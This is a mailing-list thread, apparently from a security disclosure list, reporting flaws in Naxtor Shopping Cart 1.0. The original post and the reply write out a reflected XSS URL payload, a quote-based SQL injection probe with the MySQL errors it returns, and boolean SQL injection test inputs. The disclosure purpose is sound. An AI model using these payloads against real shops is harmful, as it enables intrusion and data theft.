Re: [NOBYTES.COM: #8] Naxtor Shopping Cart 1.0 - Information Disclosure & Possible SQL Injection

[ICool <devfreedom@xxxxxxxxx>]

Yes, it is vulnerable. The user inputs as cat_id is not quoted when 
retrieving the category text. You can test the vulerability by:

cat_id=2%20and%201=1
cat_id=2%20and%201=2


Patrick Morris wrote:
> Do you have any evidence that there is a real vulerability here, or are 
> you basing your assumption on the error messages?  If it's strictly 
> based on the error messages, this is more of a PHP thing than one with 
> the shopping cart, and the information disclosure would be fixed by 
> properly configuring PHP not to display those errors.
>
> John Cobb wrote:
>
> > Hello All,
> >
> > I have discovered a couple of remote vulnerabilities in: Naxtor Shopping
> > Cart 1.0
> >
> > Authors Site: http://www.naxtor.com.au/
> >
> > Naxtor is described by its authors as:
> >
> > Naxtor Shopping Cart is one stop solution for companies' interested in
> > selling merchandise online.
> >
> > +-[Examples:]--------------------------------------------------+
> >
> > [1]------------------------------------------------------------+
> >
> > XSS:
> >
> > http://www.victim.com/lost_passowrd.php?&email=<script>var%20xss=31337;alert 
> >
> > (xss);</script>&reset=reset
> >
> > [2]------------------------------------------------------------+
> >
> > Information Disclosure & Possible SQL Injection:
> >
> > http://www.victim.com/shop_display_products.php?cat_id='
> >
> >
> >
> > Warning: mysql_fetch_array(): supplied argument is not a valid MySQL 
> > result
> > resource in /var/www/html/navigation.php on line 13
> >
> > Warning: mysql_numrows(): supplied argument is not a valid MySQL result
> > resource in /var/www/html/shop_display_products.php on line 180
> >
> > Warning: mysql_fetch_array(): supplied argument is not a valid MySQL 
> > result
> > resource in /var/www/html/shop_display_products.php on line 181
> >
> >
> > +-[Notes:]-----------------------------------------------------+
> >
> > Vulnerabilities found on: 15/06/2005
> > Author(s) Informed on: 16/06/2005
> > Author(s) Response: NONE
> > Author(s) Fix: NONE
> >
> >
> >
> > Regards
> >
> > John Cobb
> >
> > JohnC@xxxxxxxxxxx
> >
> > http://www.NoBytes.com
> >
> >
> >
> >